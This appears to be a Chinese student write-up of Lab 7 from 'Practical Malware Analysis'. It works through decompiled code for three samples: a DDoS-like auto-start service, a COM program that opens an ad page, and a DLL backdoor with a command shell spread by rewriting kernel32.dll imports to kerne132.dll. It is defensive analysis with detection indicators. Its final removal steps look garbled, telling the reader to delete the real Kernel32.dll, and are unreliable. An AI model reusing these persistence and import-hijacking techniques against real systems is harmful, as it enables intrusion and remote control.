恶意代码分析实战 Lab7
恶意代码分析实战 Lab7
IvoripuionLab7-1
Q1:当计算机重启之后,这个程序如何保证它继续运行(达到持久化驻留)
创建一个Malservice的服务,并且该服务具有开机自启动的权限。
主函数简单跟一下:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
SERVICE_TABLE_ENTRYA结构体定义如下,用于被StartServiceCtrlDispatcher()函数调用,连接程序主线程到服务控制管理程序:
1 | typedef struct _SERVICE_TABLE_ENTRYA { |
StartServiceCtrlDispatcher()函数调用:
1 | BOOL StartServiceCtrlDispatcher( |
这里调用了createProcess_401040函数,分析如下:
首先创建一个名为HGL345的互斥量来限制系统只运行了一个该程序,若检测出已创建了该互斥量,程序就会退出:
1 | if ( OpenMutexA(MUTEX_ALL_ACCESS, 0, Name) ) // Name=HGL345 |
然后打开一个服务控制管理器的句柄,以便这个程序可以添加或者修改服务:
1 | v0 = OpenSCManagerA(0, 0, 3u); |
获得当前进程的句柄:
1 | GetCurrentProcess(); |
获得当前进程调用的dll的绝对路径,传给Filename:
1 | GetModuleFileNameA(0, &Filename, 0x3E8u); |
CreateServiceA创建一个服务对象,并将其添加到指定的服务控制管理器数据库。这里使用的就是刚才的Filename路径对应的dll;服务启动类型为SERVICE_AUTO_START,即创建的服务具有开机自启动的权限;服务类型为SERVICE_WIN32_OWN_PROCESS,表明该服务的进程只包含有一个服务;服务名称为Malservice:
1 | CreateServiceA( |
设置该服务的开始时间以及持续时间,设定方式是通过WaitForSingleObject函数在指定时间唤醒这个服务,然后持续时间为0xFFFFFFFF:
1 | *&SystemTime.wYear = 0; |
在服务创建时会创建20个线程,执行StartAddress函数:
1 | v2 = 20; |
StartAddress函数,使用 User-Agent = szAgent=Internet Explorer 8.0 对http://www.malwareanalysisbook.com的站点进行访问:
1 | void __stdcall __noreturn StartAddress(LPVOID lpThreadParameter) |
Q2:为什么这个程序会使用一个互斥量?
确保该程序在一个系统中只会装载为一个进程。
1 | if ( OpenMutexA(MUTEX_ALL_ACCESS, 0, Name) ) // Name=HGL345 |
Q3:可以用来检测这个程序的基于主机特征是什么?
可以查看一台主机是否启动了Malservice的服务来判断。
Q4:检测这个恶意代码的基于网络特征是什么?
在2100年1月1日以后可以检测出特征:对 http://www.malwareanalysisbook.com 发送User-Agent=Internet Explorer 8.0 的大量请求。
Q5:这个程序的目的是什么?
创建一个服务Malservice,该服务会在2100年1月1日以后持续的对 http://www.malwareanalysisbook.com 站点发送线程数为20的请求,类似Ddos。
Q6:这个程序什么时候完成执行?
当服务开始后,没有外力干涉,永远不会完成执行。
Lab7-2
Q1:这个程序如何完成持久化驻留?
该程序不存在完成持久化驻留的行为。
main函数主要结构如下:
1 | if ( OleInitialize(0) >= 0 ) |
首先判断是否能初始化COM运行环境;
若能则创建一个COM实例,返回的对象会保存到ppv中。这里创建实例的两个参数:
0002DF01-0000-0000-C000-000000000046 , D30C1661-CDAF-11D0-8A3E-00C04FC9E26E
表明了表明了调用程序在注册表中的位置,查找资料后:
D30C1661-CDAF-11D0-8A3E-00C04FC9E26E:IWebBrowser2
0002DF01-0000-0000-C000-000000000046:IE
即该COM对象是对应了这两个程序。
当实例创建成功,使用该COM对象去访问http://www.malwareanalysisbook.com/ad.html,然后退出。
Q2:这个程序的目的是什么?
使用IE或者IWebBrowser2去访问http://www.malwareanalysisbook.com/ad.html。
Q3:这个程序什么时候完成执行?
当访问http://www.malwareanalysisbook.com/ad.html完毕后,程序完成执行。
Lab7-3
Q1:这个程序如何完成持久化驻留,来确保在计算机被重启后它能继续运行?
程序将Lab07-3.dll复制到C:\windows\system32\kerne132.dll,并将C:盘中所有导入kernel32.dll的exe改为导入kerne132.dll,以此达到持久化驻留。
分析dll
由于exe文件没有找到明显的调用dll库的函数(loadlibrary或者getProcAddress)所以首先分析dll文件。
dll文件也没有任何导出函数,只存在一个dll entry:
1 | DllEntryPoint 100012FA [main entry] |
查看Function call:
首先开辟函数的栈:
1 | call ds:inet_addr |
保证程序独享:
1 | call ds:OpenMutexA |
创建一个socket交互数据:
1 | call ds:WSAStartup |
建立socket的恶意代码,疑似远程的shell。
分析socket相关函数,connect函数上下文找到了连接的IP:”127.26.152.13”:
1 | .text:100010A3 push offset cp ; "127.26.152.13" |
分析这部分的伪代码,connect的是127.26.152.13:80:
1 | *name.sa_data = htons(80u); |
发送了一个”hello”:
1 | while ( send(v3, ::buf, strlen(::buf), 0) != -1 && shutdown(v3, 1) != -1 )// buff="hello" |
发送”hello”后,将会期望服务器发送一个指令,将指令保存到buf中,针对buf的命令做出以下一些操作:
- buf=”sleep”:程序Sleep 0x60000 ms;
- buf=”exec”:程序创建一个进程,执行CommandLine中的命令,启动一个程序;
- buf=”q”:退出shell;
1 | if ( recv(v3, &buf, 4096, 0) > 0 ) |
分析exe
程序的正常执行需要在执行时附加一个参数”WARNING_THIS_WILL_DESTROY_YOUR_MACHINE”:
1 | if ( argc == 2 && !strcmp(argv[1], aWarningThisWil) )// aWarningThisWill=WARNING_THIS_WILL_DESTROY_YOUR_MACHINE |
打开了C:\Windows\System32\Kernel32.dll以及Lab07-03.dll:
1 | v3 = CreateFileA(FileName, 0x80000000, 1u, 0, 3u, 0, 0);// FileName=C:\Windows\System32\Kernel32.dll |
接下来调用sub_401040以及sub_401070:
1 | call sub_401040 |
sub_401040和sub_401070进行了一系列的数学运算,将计算结果返回:
1 | int __cdecl sub_401040(int a1, int a2, int a3) |
1 | int __cdecl sub_401070(unsigned int a1, int a2, int a3) |
上述的计算以及写入完成后调用了CopyFileA函数,将Lab07-03.dll中的内容复制并保存到C:\windows\system32\kerne132.dll中,拷贝失败退出:
1 | if ( !CopyFileA(ExistingFileName, NewFileName, 0) ) |
若拷贝成功,则调用sub_4011E0(aC, 0),这里的aC保存字符串指向的是C盘根目录下的所有文件:
1 | .data:00403044 aC db 'C:\*',0 |
sub_4011E0关键分支:
1 | if ( !(FindFileData.dwFileAttributes & 0x10) |
作用是找到C:\中所有文件夹以及子文件夹中含有”.exe”的文件,然后执行sub_4010A0(v7),v7是找到的文件名:
sub_4010A0是一个查找字符串的函数,即在找到的exe文件中查找某字符串。
在sub_4010A0的子分支中存在复制的操作:
1 | if ( !stricmp(v10, Str2) )//Str2="kernel32.dll" |
将kernel32.dll更改为kerne132.dll,kerne132.dll是由Lab07-03.dll拷贝而来。
所以,sub_4011E0函数作用为查找C:盘中所有的exe文件,将exe文件中的”kernel32.dll”改为”kerne132.dll”。
综上,Lab7-3.exe首先将Lab7-3.dll复制到 C:\windows\system32\kerne132.dll,然后将C:盘中的所有exe文件调用kernel32.dll 改为调用kerne132.dll,这样就简介调用了Lab07-3.dll,建立一个与远程服务器的连接,开启一个shell。
Q2:这个恶意代码的两个明显的基于主机特征是什么?
- 使用了一个叫kerne132.dll的文件;
- 创建一个叫SADFHUHF的互斥量:
1 | .text:10001041 lea edi, [esp+1208h+var_FFF] |
Q3:这个程序的目的是什么?
将Lab7-3.dll复制到 C:\windows\system32\kerne132.dll,然后将C:盘中的所有exe文件调用kernel32.dll 改为调用kerne132.dll,这样就间接调用了Lab07-3.dll,建立一个与远程服务器的连接,开启一个shell。
Q4:一旦这个恶意代码被安装,你如何移除它?
无法直接移除,但是可以间接消除其影响:
通过与sub_4011E0类似的方法,将C:盘中所有exe文件里的kerne132.dll字符串改为kernel32.dll,然后删除
C:\windows\system32\kerne132.dll以及C:\Windows\System32\Kernel32.dll;删除原来的kerne132.dll,将kernel32.dll改名为kerne132.dll;
恢复系统;